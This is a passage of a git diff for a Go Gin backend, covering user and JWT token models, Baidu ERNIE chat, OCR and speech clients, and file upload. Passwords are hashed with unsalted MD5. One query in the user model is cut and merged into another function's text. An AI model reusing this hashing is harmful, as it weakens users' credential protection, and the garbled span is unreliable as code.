SELECT ?,?,? WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userIp, userName) + if result.RowsAffected > 0 { + return true + } else { + return false + } +} + +// 用户登录, +func (u *UsersModel) Login(userName string, pass string) *UsersModel { + sql := "select top 1 id, user_name,real_name,pass,phone from tb_users where user_name=? " + result := u.Raw(sql, userName).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + return u + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +//记录用户登陆(login)生成的token,每次登陆记录一次token +func (u *UsersModel) OauthLoginToken(userId int64, token string, expiresAt int64, clientIp string) bool { + sql := ` + INSERT INTO tb_oauth_access_tokens(fr_user_id,action_name,token,expires_at,client_ip) + SELECT ?,'login',? ,?,? WHERE NOT EXISTS(SELECT 1 FROM tb_oauth_access_tokens a WHERE a.fr_user_id=? AND a.action_name='login' AND a.token=?) + ` + //注意:token的精确度为秒,如果在一秒之内,一个账号多次调用接口生成的token其实是相同的,这样写入数据库,第二次的影响行数为0,知己实际上操作仍然是有效的。 + //所以这里只判断无错误即可,判断影响行数的话,>=0 都是ok的 + if u.Exec(sql, userId, token, time.Unix(expiresAt, 0).Format(variable.DateFormat), clientIp, userId, token).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + return true + } + return false +} + +//用户刷新token,条件检查: 相关token在过期的时间之内,就符合刷新条件 +func (u *UsersModel) OauthRefreshConditionCheck(userId int64, oldToken string) bool { + // 首先判断旧token在本系统自带的数据库已经存在,才允许继续执行刷新逻辑 + var oldTokenIsExists int + sql := "SELECT count(*) as counts FROM tb_oauth_access_tokens WHERE fr_user_id =? and token=? and GETDATE()=0, 有些没有登录过的用户没有相关token,此语句执行影响行数为0,但是仍然是执行成功 + if u.Exec(sql, userId).Error == nil { + return true + } + return false +} + +// 判断用户token是否在数据库存在+状态OK +func (u *UsersModel) OauthCheckTokenIsOk(userId int64, token string) bool { + sql := ` + SELECT token FROM tb_oauth_access_tokens + WHERE fr_user_id=? AND revoked=0 AND expires_at>GETDATE() + ORDER BY expires_at DESC , updated_at DESC + OFFSET 0 ROW FETCH NEXT ? ROWS ONLY + ` + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是查询类记得释放记录集 + _ = rows.Close() + }() + if err == nil && rows != nil { + for rows.Next() { + var tempToken string + err := rows.Scan(&tempToken) + if err == nil { + if tempToken == token { + _ = rows.Close() + return true + } + } + } + } + return false +} + +// 禁用一个用户的: 1.tb_users表的 status 设置为 0,tb_oauth_access_tokens 表的所有token删除 +// 禁用一个用户的token请求(本质上就是把tb_users表的 status 字段设置为 0 即可) +func (u *UsersModel) SetTokenInvalid(userId int) bool { + sql := "delete from tb_oauth_access_tokens where fr_user_id=? " + if u.Exec(sql, userId).Error == nil { + if u.Exec("update tb_users set status=0 where id=?", userId).Error == nil { + return true + } + } + return false +} + +//根据用户ID查询一条信息 +func (u *UsersModel) ShowOneItem(userId int) (*UsersModel, error) { + sql := "SELECT top 1 id, user_name,pass, real_name, phone, status FROM tb_users WHERE status=1 and id=?" + result := u.Raw(sql, userId).First(u) + if result.Error == nil { + return u, nil + } else { + return nil, result.Error + } +} + +// 查询数据之前统计条数 +func (u *UsersModel) counts(userName string) (counts int64) { + sql := "SELECT count(*) as counts FROM tb_users WHERE status=1 and user_name like ?" + if res := u.Raw(sql, "%"+userName+"%").First(&counts); res.Error != nil { + variable.ZapLog.Error("UsersModel - counts 查询数据条数出错", zap.Error(res.Error)) + } + return counts +} + +// 查询(根据关键词模糊查询) +func (u *UsersModel) Show(userName string, limitStart, limitItems int) (counts int64, temp []UsersModel) { + if counts = u.counts(userName); counts > 0 { + sql := ` + SELECT id, user_name, real_name, phone,last_login_ip, status, CONVERT(varchar(20), created_at, 120 ) as created_at, CONVERT(varchar(20), updated_at, 120 ) as updated_at + FROM tb_users WHERE status=1 and user_name like ? order by id desc OFFSET ? ROW FETCH NEXT ? ROWS ONLY + ` + if res := u.Raw(sql, "%"+userName+"%", limitStart, limitItems).Find(&temp); res.RowsAffected > 0 { + return counts, temp + } + } + return 0, nil +} + +//新增 +func (u *UsersModel) Store(userName string, pass string, realName string, phone string, remark string) bool { + sql := "INSERT INTO tb_users(user_name,pass,real_name,phone,remark) SELECT ?,?,?,?,? WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + if u.Exec(sql, userName, pass, realName, phone, remark, userName).RowsAffected > 0 { + return true + } + return false +} + +//UpdateDataCheckUserNameIsUsed 更新前检查新的用户名是否已经存在(避免和别的账号重名) +func (u *UsersModel) UpdateDataCheckUserNameIsUsed(userId int, userName string) (exists int64) { + sql := "select count(*) as counts from tb_users where id!=? AND user_name=?" + _ = u.Raw(sql, userId, userName).First(&exists) + return exists +} + +//更新 +func (u *UsersModel) Update(id int, userName string, pass string, realName string, phone string, remark string, clientIp string) bool { + sql := "update tb_users set user_name=?,pass=?,real_name=?,phone=?,remark=? WHERE status=1 AND id=?" + if u.Exec(sql, userName, pass, realName, phone, remark, id).RowsAffected >= 0 { + if u.OauthResetToken(id, pass, clientIp) { + return true + } + } + return false +} + +//删除用户以及关联的token记录 +func (u *UsersModel) Destroy(id int) bool { + if u.Delete(u, id).Error == nil { + if u.OauthDestroyToken(id) { + return true + } + } + return false +} + +// 后续两个函数专门处理用户 token 缓存到 redis 逻辑 + +func (u *UsersModel) ValidTokenCacheToRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + defer tokenCacheRedisFact.ReleaseRedisConn() + + sql := ` + SELECT token,CONVERT(varchar(20), expires_at, 120 ) as expires_at FROM tb_oauth_access_tokens + WHERE fr_user_id=? AND revoked=0 AND expires_at>getdate() ORDER BY expires_at DESC , updated_at DESC + OFFSET 0 ROW FETCH NEXT ? ROWS ONLY + ` + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是获取原生结果集的查询,记得释放记录集 + _ = rows.Close() + }() + + var tempToken, expires string + if err == nil && rows != nil { + for i := 1; rows.Next(); i++ { + err = rows.Scan(&tempToken, &expires) + if err == nil { + if ts, err := time.ParseInLocation(variable.DateFormat, expires, time.Local); err == nil { + tokenCacheRedisFact.SetTokenCache(ts.Unix(), tempToken) + // 因为每个用户的token是按照过期时间倒叙排列的,第一个是有效期最长的,将该用户的总键设置一个最大过期时间,到期则自动清理,避免不必要的数据残留 + if i == 1 { + tokenCacheRedisFact.SetUserTokenExpire(ts.Unix()) + } + } else { + variable.ZapLog.Error("expires_at 转换位时间戳出错", zap.Error(err)) + } + } + } + } + // 缓存结束之后删除超过系统设置最大在线数量的token + tokenCacheRedisFact.DelOverMaxOnlineCache() +} + +// DelTokenCacheFromRedis 用户密码修改后,删除redis所有的token +func (u *UsersModel) DelTokenCacheFromRedis(userId int64) { + tokenCacheRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(userId) + if tokenCacheRedisFact == nil { + variable.ZapLog.Error("redis连接失败,请检查配置") + return + } + tokenCacheRedisFact.ClearUserToken() + tokenCacheRedisFact.ReleaseRedisConn() +} diff --git a/GinSkeleton/app/service/ai_model_cli/dor_cli.go b/GinSkeleton/app/service/ai_model_cli/dor_cli.go new file mode 100644 index 0000000..326e650 --- /dev/null +++ b/GinSkeleton/app/service/ai_model_cli/dor_cli.go @@ -0,0 +1,47 @@ +package ai_model_cli + +import ( + "context" + "goskeleton/app/global/variable" + "strings" + + "github.com/baidubce/bce-qianfan-sdk/go/qianfan" + "github.com/gin-gonic/gin" +) + +func RequestQianFan(cont *gin.Context) (r bool, c interface{}) { + // 使用安全认证AK/SK鉴权,通过环境变量初始化; + qianfan.GetConfig().AccessKey = variable.ConfigYml.GetString("BaiduCE.QianFanAccessKey") + qianfan.GetConfig().SecretKey = variable.ConfigYml.GetString("BaiduCE.QianFanSecretKey") + + // 指定特定模型 + chat := qianfan.NewChatCompletion( + qianfan.WithModel("ERNIE-4.0-8K"), + ) + + message := "" + t := strings.TrimSpace(cont.PostForm("type")) + b := strings.TrimSpace(cont.PostForm("background")) + d := strings.TrimSpace(cont.PostForm("doc")) + switch t { + case "summary": + message = "请在这个背景下:" + b + "\n对下文进行概括,不要改变原有语言:" + d + case "decoration": + message = "请在这个背景下:" + b + "\n对下文进行润色,不要改变原有语言:" + d + case "extension": + message = "请在这个背景下:" + b + "\n对下文进行续写,不要改变原有语言:" + d + case "correction": + message = "请在这个背景下:" + b + "\n对下文进行改错,不要改变原有语言:" + d + case "translation": + message = "请在这个背景下:" + b + "\n对下文进行翻译:" + d + } + resp, _ := chat.Do( + context.TODO(), + &qianfan.ChatCompletionRequest{ + Messages: []qianfan.ChatCompletionMessage{ + qianfan.ChatCompletionUserMessage(message), + }, + }, + ) + return true, gin.H{"new_doc": resp.Result} +} diff --git a/GinSkeleton/app/service/ai_model_cli/layout_cli.go b/GinSkeleton/app/service/ai_model_cli/layout_cli.go new file mode 100644 index 0000000..0f9c2d1 --- /dev/null +++ b/GinSkeleton/app/service/ai_model_cli/layout_cli.go @@ -0,0 +1,191 @@ +package ai_model_cli + +import ( + "context" + "fmt" + "goskeleton/app/global/variable" + "os" + "strings" + + "goskeleton/app/global/consts" + + "github.com/baidubce/bce-qianfan-sdk/go/qianfan" + "github.com/gin-gonic/gin" +) + +func RequestStyle(c *gin.Context) (interface{}, error) { + + // userMsg := c.PostForm("user_input") + userMsg := c.GetString(consts.ValidatorPrefix + "user_input") + + qianfan.GetConfig().AccessKey = variable.ConfigYml.GetString("BaiduCE.QianFanAccessKey") + qianfan.GetConfig().SecretKey = variable.ConfigYml.GetString("BaiduCE.QianFanSecretKey") + + chat := qianfan.NewChatCompletion( + qianfan.WithModel("ERNIE-4.0-8K"), + ) + + chatHistory := []qianfan.ChatCompletionMessage{} + + // 读取prompt文件 + systemMsgPath := variable.ConfigYml.GetString("BaiduCE.StyleGeneratePromptPath") + // 读取文件内容 + prompt, err := os.ReadFile(variable.BasePath + systemMsgPath) + if err != nil || len(prompt) == 0 { + variable.ZapLog.Error(fmt.Sprintf("读取提示词文件失败: %v", err)) + return nil, err + } + + // add user history to chat history + userHistory, exist := c.Get(consts.ValidatorPrefix + "chat_history") + if exist && userHistory != nil { + // check if userHistory is of type []struct{Role string;Content string} + historySlice, ok := userHistory.([]interface{}) + if !ok || len(historySlice)%2 != 0 { + variable.ZapLog.Error(fmt.Sprintf("用户历史对话格式错误: %v", userHistory)) + return nil, fmt.Errorf("用户历史对话格式错误") + } + + // convert userHistory to []qianfan.ChatCompletionMessage + var chatHistoryConverted []qianfan.ChatCompletionMessage + for _, item := range historySlice { + if itemMap, ok := item.(map[string]interface{}); ok { + role, roleOk := itemMap["role"].(string) + content, contentOk := itemMap["content"].(string) + if roleOk && contentOk { + chatHistoryConverted = append(chatHistoryConverted, qianfan.ChatCompletionMessage{ + Role: role, + Content: content, + }) + } else { + variable.ZapLog.Error(fmt.Sprintf("用户历史对话格式错误: %v\nrole 或 content 类型断言失败", userHistory)) + return nil, fmt.Errorf("用户历史对话格式错误") + } + } else { + variable.ZapLog.Error(fmt.Sprintf("用户历史对话格式错误: %v\n无法将 item 转换为 map[string]interface{}", userHistory)) + return nil, fmt.Errorf("用户历史对话格式错误") + } + } + + if len(chatHistoryConverted) > 0 && len(chatHistoryConverted)%2 == 0 { + chatHistory = append(chatHistory, chatHistoryConverted...) + } + } + + // add user input to chat history + chatHistory = append(chatHistory, qianfan.ChatCompletionUserMessage(userMsg)) + + response, err := chat.Do(context.TODO(), &qianfan.ChatCompletionRequest{System: string(prompt), Messages: chatHistory}) + if err != nil { + variable.ZapLog.Error(fmt.Sprintf("对话失败: %v", err)) + return nil, err + } + + return response.Result, nil +} + +func RequestStyleStream(c *gin.Context) error { + userMsg := c.GetString(consts.ValidatorPrefix + "user_input") + + chatHistory := []qianfan.ChatCompletionMessage{} + + systemMsgPath := variable.ConfigYml.GetString("BaiduCE.StyleGeneratePromptPath") + prompt, err := os.ReadFile(variable.BasePath + systemMsgPath) + if err != nil || len(prompt) == 0 { + variable.ZapLog.Error(fmt.Sprintf("读取提示词文件失败: %v", err)) + return err + } + + userHistory, exist := c.Get(consts.ValidatorPrefix + "chat_history") + if exist && userHistory != nil { + historySlice, ok := userHistory.([]interface{}) + if !ok || len(historySlice)%2 != 0 { + variable.ZapLog.Error(fmt.Sprintf("用户历史对话格式错误: %v", userHistory)) + return fmt.Errorf("用户历史对话格式错误") + } + + var chatHistoryConverted []qianfan.ChatCompletionMessage + for _, item := range historySlice { + if itemMap, ok := item.(map[string]interface{}); ok { + role, roleOk := itemMap["role"].(string) + content, contentOk := itemMap["content"].(string) + if roleOk && contentOk { + chatHistoryConverted = append(chatHistoryConverted, qianfan.ChatCompletionMessage{ + Role: role, + Content: content, + }) + } else { + variable.ZapLog.Error(fmt.Sprintf("用户历史对话格式错误: %v\nrole 或 content 类型断言失败", userHistory)) + return fmt.Errorf("用户历史对话格式错误") + } + } else { + variable.ZapLog.Error(fmt.Sprintf("用户历史对话格式错误: %v\n无法将 item 转换为 map[string]interface{}", userHistory)) + return fmt.Errorf("用户历史对话格式错误") + } + } + + if len(chatHistoryConverted) > 0 && len(chatHistoryConverted)%2 == 0 { + chatHistory = append(chatHistory, chatHistoryConverted...) + } + } + + chatHistory = append(chatHistory, qianfan.ChatCompletionUserMessage(userMsg)) + return ChatByStream(c, string(prompt), chatHistory) +} + +func RequestLayout(c *gin.Context) error { + doc_content := c.GetString(consts.ValidatorPrefix + "doc_content") + + chatHistory := []qianfan.ChatCompletionMessage{} + + systemMsgPath := variable.ConfigYml.GetString("BaiduCE.LayoutGeneratePromptPath") + prompt, err := os.ReadFile(variable.BasePath + systemMsgPath) + if err != nil || len(prompt) == 0 { + variable.ZapLog.Error(fmt.Sprintf("读取提示词文件失败: %v", err)) + return err + } + + chatHistory = append(chatHistory, qianfan.ChatCompletionUserMessage("待排版内容\n"+doc_content)) + return ChatByStream(c, string(prompt), chatHistory) +} + +func ChatByStream(c *gin.Context, prompt string, chatHistory []qianfan.ChatCompletionMessage) error{ + + qianfan.GetConfig().AccessKey = variable.ConfigYml.GetString("BaiduCE.QianFanAccessKey") + qianfan.GetConfig().SecretKey = variable.ConfigYml.GetString("BaiduCE.QianFanSecretKey") + + chat := qianfan.NewChatCompletion( + qianfan.WithModel("ERNIE-4.0-8K"), + ) + + stream, err := chat.Stream(context.TODO(), &qianfan.ChatCompletionRequest{System: string(prompt), Messages: chatHistory}) + if err != nil { + variable.ZapLog.Error(fmt.Sprintf("对话失败: %v", err)) + return err + } + defer stream.Close() + + c.Writer.Flush() + defer c.Writer.Flush() + outputMsg:=strings.Builder{} + for { + response, err := stream.Recv() + if response.IsEnd { + break // 流结束,退出循环 + } + if err != nil { + variable.ZapLog.Error(fmt.Sprintf("接收流失败: %v", err)) + return err + } + // 将结果写入到响应体 + outputMsg.WriteString(response.Result) + if _, err := fmt.Fprintf(c.Writer, "%s", response.Result); err != nil { + variable.ZapLog.Error(fmt.Sprintf("写入流失败: %v", err)) + return err + } + + // 立即刷新缓冲区,以确保数据立即发送到客户端 + c.Writer.Flush() + } + return nil // 正常结束,返回 nil +} \ No newline at end of file diff --git a/GinSkeleton/app/service/ai_model_cli/ocr_cli.go b/GinSkeleton/app/service/ai_model_cli/ocr_cli.go new file mode 100644 index 0000000..69a5d87 --- /dev/null +++ b/GinSkeleton/app/service/ai_model_cli/ocr_cli.go @@ -0,0 +1,76 @@ +package ai_model_cli + +import ( + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/baidubce" + "net/http" + "net/url" + "strings" + + "github.com/gin-gonic/gin" +) + +/** + * 向百度智能云ocr(基础精准版)发送消息, 获得识别消息 + * @return 识别出的信息的内容 + */ +func RequestOCR(context *gin.Context) (r bool, c interface{}) { + path := "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic?access_token=" + baidubce.GetAccessToken() + // 获得图片数据,需要 base64 和urlencode处理 + // TODO:linlnf + content := context.PostForm("pic") + + // 组装 body 数据,参数在该网址:https://cloud.baidu.com/doc/OCR/s/1k3h7y3db + data := make(url.Values) + data.Set("detect_direction", "false") + data.Set("paragraph", "false") + data.Set("probability", "false") + data.Set("multidirectional_recognize", "false") + data.Set("image", content) + payload := strings.NewReader(data.Encode()) + client := &http.Client{} + // 请求数据 + req, err := http.NewRequest("POST", path, payload) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEUseOCRFail + err.Error()) + return false, nil + } + req.Header.Add("Content-Type", "application/x-www-form-urlencoded") + req.Header.Add("Accept", "application/json") + res, err := client.Do(req) + + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEUseOCRFail + err.Error()) + return false, nil + } + defer res.Body.Close() + //从res中提取识别出的字符信息 + mbody, err := baidubce.DecodeResBody(res, "ocr") + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEUseOCRFail + err.Error()) + return false, nil + } + return true, gin.H{ + "words": decodeOCRBody2Str(mbody), + } +} + +/* + * 将返回的内容中的所有识别出的文字信息进行组合 + * @return 识别出的信息的内容字符串 + */ +func decodeOCRBody2Str(mbody map[string]interface{}) (str string) { + words, ok := mbody["words_result"] + if ok { + sliceWords, ok := words.([]interface{}) + if ok { + // 遍历切片 + for _, word := range sliceWords { + str += word.(map[string]interface{})["words"].(string) + "\n" + } + } + return str + } + return "" +} diff --git a/GinSkeleton/app/service/ai_model_cli/vop_cli.go b/GinSkeleton/app/service/ai_model_cli/vop_cli.go new file mode 100644 index 0000000..d9d3e40 --- /dev/null +++ b/GinSkeleton/app/service/ai_model_cli/vop_cli.go @@ -0,0 +1,89 @@ +package ai_model_cli + +import ( + "bytes" + "encoding/base64" + "encoding/json" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/baidubce" + "net/http" + + "github.com/gin-gonic/gin" +) + +type BaiduBCEVOP struct { + Format string `json:"format"` + Rate int `json:"rate"` + Channel int `json:"channel"` + Cuid string `json:"cuid"` + DevPid int `json:"dev_pid"` + Speech string `json:"speech"` + Len int `json:"len"` + Token string `json:"token"` +} + +/** + * 向百度智能云ocr(基础精准版)发送消息, 获得识别消息 + * @return 识别出的信息的内容 + */ +func RequestVOP(context *gin.Context) (r bool, c interface{}) { + path := "https://vop.baidu.com/pro_api" + // 获得语音数据,需要 base64 和urlencode处理 + // TODO:linlnf + content := context.PostForm("voc") + // 再进行 Base64 解码 + decodedVoc, _ := base64.StdEncoding.DecodeString(content) + // 组装 body 数据,参数在该网址:https://cloud.baidu.com/doc/SPEECH/s/4lbxdz34z + jsonData, _ := json.Marshal(BaiduBCEVOP{ + Format: "pcm", + Rate: 16000, + Channel: 1, + Cuid: "kRxqyFGTgJOtBU4b5LnhWEvX6g8EU4Z7", + DevPid: 80001, + Speech: content, + Len: len(decodedVoc), + Token: baidubce.GetAccessToken(), + }) + + client := &http.Client{} + // 请求数据 + req, err := http.NewRequest("POST", path, bytes.NewBuffer(jsonData)) + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEUseVOPFail + err.Error()) + return false, nil + } + req.Header.Add("Content-Type", "application/json") + req.Header.Add("Accept", "application/json") + res, err := client.Do(req) + + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEUseVOPFail + err.Error()) + return false, nil + } + defer res.Body.Close() + //从res中提取识别出的信息 + mbody, err := baidubce.DecodeResBody(res, "vop") + if err != nil { + variable.ZapLog.Error(my_errors.ErrorBaiduCEUseVOPFail + err.Error()) + return false, nil + } + return true, gin.H{ + "words": decodeBody2Str(mbody), + } +} + +/* + * 将返回的内容中的所有识别出的文字信息进行组合 + * @return 识别出的信息的内容字符串 + */ +func decodeBody2Str(mbody map[string]interface{}) (str string) { + words, ok := mbody["result"].([]interface{}) + if ok { + for _, word := range words { + str += word.(string) + "\n" + } + return str + } + return "" +} diff --git a/GinSkeleton/app/service/sys_log_hook/zap_log_hooks.go b/GinSkeleton/app/service/sys_log_hook/zap_log_hooks.go new file mode 100644 index 0000000..768b6b9 --- /dev/null +++ b/GinSkeleton/app/service/sys_log_hook/zap_log_hooks.go @@ -0,0 +1,27 @@ +package sys_log_hook + +import ( + "go.uber.org/zap/zapcore" +) + +// GoSkeleton 系统运行日志钩子函数 +// 1.单条日志就是一个结构体格式,本函数拦截每一条日志,您可以进行后续处理,例如:推送到阿里云日志管理面板、ElasticSearch 日志库等 + +func ZapLogHandler(entry zapcore.Entry) error { + + // 参数 entry 介绍 + // entry 参数就是单条日志结构体,主要包括字段如下: + //Level 日志等级 + //Time 当前时间 + //LoggerName 日志名称 + //Message 日志内容 + //Caller 各个文件调用路径 + //Stack 代码调用栈 + + //这里启动一个协程,hook丝毫不会影响程序性能, + go func(paramEntry zapcore.Entry) { + //fmt.Println(" GoSkeleton hook ....,你可以在这里继续处理系统日志....") + //fmt.Printf("%#+v\n", paramEntry) + }(entry) + return nil +} diff --git a/GinSkeleton/app/service/upload_file/upload_file.go b/GinSkeleton/app/service/upload_file/upload_file.go new file mode 100644 index 0000000..7282514 --- /dev/null +++ b/GinSkeleton/app/service/upload_file/upload_file.go @@ -0,0 +1,58 @@ +package upload_file + +import ( + "errors" + "fmt" + "github.com/gin-gonic/gin" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/utils/md5_encrypt" + "os" + "path" + "strings" + "time" +) + +func Upload(context *gin.Context, savePath string) (r bool, finnalSavePath interface{}) { + + newSavePath, newReturnPath := generateYearMonthPath(savePath) + + // 1.获取上传的文件名(参数验证器已经验证完成了第一步错误,这里简化) + file, _ := context.FormFile(variable.ConfigYml.GetString("FileUploadSetting.UploadFileField")) // file 是一个文件结构体(文件对象) + + // 保存文件,原始文件名进行全局唯一编码加密、md5 加密,保证在后台存储不重复 + var saveErr error + if sequence := variable.SnowFlake.GetId(); sequence > 0 { + saveFileName := fmt.Sprintf("%d%s", sequence, file.Filename) + saveFileName = md5_encrypt.MD5(saveFileName) + path.Ext(saveFileName) + + if saveErr = context.SaveUploadedFile(file, newSavePath+saveFileName); saveErr == nil { + // 上传成功,返回资源的相对路径,这里请根据实际返回绝对路径或者相对路径 + finnalSavePath = gin.H{ + "path": strings.ReplaceAll(newReturnPath+saveFileName, variable.BasePath, ""), + } + return true, finnalSavePath + } + } else { + saveErr = errors.New(my_errors.ErrorsSnowflakeGetIdFail) + variable.ZapLog.Error("文件保存出错:" + saveErr.Error()) + } + return false, nil + +} + +// 文件上传可以设置按照 xxx年-xx月 格式存储 +func generateYearMonthPath(savePathPre string) (string, string) { + returnPath := variable.BasePath + variable.ConfigYml.GetString("FileUploadSetting.UploadFileReturnPath") + curYearMonth := time.Now().Format("2006_01") + newSavePathPre := savePathPre + curYearMonth + newReturnPathPre := returnPath + curYearMonth + // 相关路径不存在,创建目录 + if _, err := os.Stat(newSavePathPre); err != nil { + if err = os.MkdirAll(newSavePathPre, os.ModePerm); err != nil { + variable.ZapLog.Error("文件上传创建目录出错" + err.Error()) + return "", "" + } + } + return newSavePathPre + "/", newReturnPathPre + "/" +} diff --git a/GinSkeleton/app/service/users/curd/users_curd.go b/GinSkeleton/app/service/users/curd/users_curd.go new file mode 100644 index 0000000..3afd9ce --- /dev/null +++ b/GinSkeleton/app/service/users/curd/users_curd.go @@ -0,0 +1,39 @@ +package curd + +import ( + "goskeleton/app/model" + "goskeleton/app/utils/md5_encrypt" +) + +func CreateUserCurdFactory() *UsersCurd { + return &UsersCurd{model.CreateUserFactory("")} +} + +type UsersCurd struct { + userModel *model.UsersModel +} + +// func (u *UsersCurd) Register(userName, pass, userIp string) bool { +func (u *UsersCurd) Register(userName, pass string) bool { + pass = md5_encrypt.Base64Md5(pass) // 预先处理密码加密,然后存储在数据库 + return u.userModel.Register(userName, pass) +} + +func (u *UsersCurd) Store(name string, pass string, realName string, phone string, remark string) bool { + + pass = md5_encrypt.Base64Md5(pass) // 预先处理密码加密,然后存储在数据库 + return u.userModel.Store(name, pass, realName, phone, remark) +} + +func (u *UsersCurd) NameUpdate(id int, name string) bool { + //预先处理密码加密等操作,然后进行更新 + // pass = md5_encrypt.Base64Md5(pass) // 预先处理密码加密,然后存储在数据库 + return u.userModel.NameUpdate(id, name) +} +func (u *UsersCurd) UpdatePassword(id int,userName,oldpass,newpass string) bool { + //预先处理密码加密等操作,然后进行更新 + oldpass = md5_encrypt.Base64Md5(oldpass) + newpass = md5_encrypt.Base64Md5(newpass) // 预先处理密码加密,然后存储在数据库 + // return u.userModel.UpdatePassword(id,oldpass,newpass) + return u.userModel.UpdatePassword(id,userName,oldpass,newpass)!=nil +} \ No newline at end of file diff --git a/GinSkeleton/app/service/users/token/token.go b/GinSkeleton/app/service/users/token/token.go new file mode 100644 index 0000000..9b0dea3 --- /dev/null +++ b/GinSkeleton/app/service/users/token/token.go @@ -0,0 +1,139 @@ +package token + +import ( + "errors" + "github.com/dgrijalva/jwt-go" + "goskeleton/app/global/consts" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "goskeleton/app/http/middleware/my_jwt" + "goskeleton/app/model" + "goskeleton/app/service/users/token_cache_redis" + "time" +) + +// CreateUserFactory 创建 userToken 工厂 +func CreateUserFactory() *userToken { + return &userToken{ + userJwt: my_jwt.CreateMyJWT(variable.ConfigYml.GetString("Token.JwtTokenSignKey")), + } +} + +type userToken struct { + userJwt *my_jwt.JwtSign +} + +// GenerateToken 生成token +func (u *userToken) GenerateToken(userid int64, username string, expireAt int64) (tokens string, err error) { + + // 根据实际业务自定义token需要包含的参数,生成token,注意:用户密码请勿包含在token + customClaims := my_jwt.CustomClaims{ + UserId: userid, + Name: username, + // Phone: phone, + // 特别注意,针对前文的匿名结构体,初始化的时候必须指定键名,并且不带 jwt. 否则报错:Mixture of field: value and value initializers + StandardClaims: jwt.StandardClaims{ + NotBefore: time.Now().Unix() - 10, // 生效开始时间 + ExpiresAt: time.Now().Unix() + expireAt, // 失效截止时间 + }, + } + return u.userJwt.CreateToken(customClaims) +} + +// RecordLoginToken 用户login成功,记录用户token +func (u *userToken) RecordLoginToken(id int64,userToken string) bool { + if customClaims, err := u.userJwt.ParseToken(userToken); err == nil { + // userId := customClaims.UserId + expiresAt := customClaims.ExpiresAt + return model.CreateUserFactory("").OauthLoginToken(id, userToken, expiresAt) + } else { + return false + } +} + +// TokenIsMeetRefreshCondition 检查token是否满足刷新条件 +func (u *userToken) TokenIsMeetRefreshCondition(token string) bool { + // token基本信息是否有效:1.过期时间在允许的过期范围内;2.基本格式正确 + customClaims, code := u.isNotExpired(token, variable.ConfigYml.GetInt64("Token.JwtTokenRefreshAllowSec")) + switch code { + case consts.JwtTokenOK, consts.JwtTokenExpired: + //在数据库的存储信息是否也符合过期刷新刷新条件 + if model.CreateUserFactory("").OauthRefreshConditionCheck(customClaims.UserId, token) { + return true + } + } + return false +} + +// RefreshToken 刷新token的有效期(默认+3600秒,参见常量配置项) +func (u *userToken) RefreshToken(oldToken string) (newToken string, res bool) { + var err error + //如果token是有效的、或者在过期时间内,那么执行更新,换取新token + if newToken, err = u.userJwt.RefreshToken(oldToken, variable.ConfigYml.GetInt64("Token.JwtTokenRefreshExpireAt")); err == nil { + if customClaims, err := u.userJwt.ParseToken(newToken); err == nil { + userId := customClaims.UserId + expiresAt := customClaims.ExpiresAt + if model.CreateUserFactory("").OauthRefreshToken(userId, expiresAt, oldToken, newToken) { + return newToken, true + } + } + } + + return "", false +} + +// 判断token本身是否未过期 +// 参数解释: +// token: 待处理的token值 +// expireAtSec: 过期时间延长的秒数,主要用于用户刷新token时,判断是否在延长的时间范围内,非刷新逻辑默认为0 +func (u *userToken) isNotExpired(token string, expireAtSec int64) (*my_jwt.CustomClaims, int) { + if customClaims, err := u.userJwt.ParseToken(token); err == nil { + + if time.Now().Unix()-(customClaims.ExpiresAt+expireAtSec) < 0 { + // token有效 + return customClaims, consts.JwtTokenOK + } else { + // 过期的token + return customClaims, consts.JwtTokenExpired + } + } else { + // 无效的token + return nil, consts.JwtTokenInvalid + } +} + +// IsEffective 判断token是否有效(未过期+数据库用户信息正常) +func (u *userToken) IsEffective(token string) bool { + customClaims, code := u.isNotExpired(token, 0) + if consts.JwtTokenOK == code { + //1.首先在redis检测是否存在某个用户对应的有效token,如果存在就直接返回,不再继续查询mysql,否则最后查询mysql逻辑,确保万无一失 + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + tokenRedisFact := token_cache_redis.CreateUsersTokenCacheFactory(customClaims.UserId) + if tokenRedisFact != nil { + defer tokenRedisFact.ReleaseRedisConn() + if tokenRedisFact.TokenCacheIsExists(token) { + return true + } + } + } + //2.token符合token本身的规则以后,继续在数据库校验是不是符合本系统其他设置,例如:一个用户默认只允许10个账号同时在线(10个token同时有效) + if model.CreateUserFactory("").OauthCheckTokenIsOk(customClaims.UserId, token) { + return true + } + } + return false +} + +// ParseToken 将 token 解析为绑定时传递的参数 +func (u *userToken) ParseToken(tokenStr string) (CustomClaims my_jwt.CustomClaims, err error) { + if customClaims, err := u.userJwt.ParseToken(tokenStr); err == nil { + return *customClaims, nil + } else { + return my_jwt.CustomClaims{}, errors.New(my_errors.ErrorsParseTokenFail) + } +} + 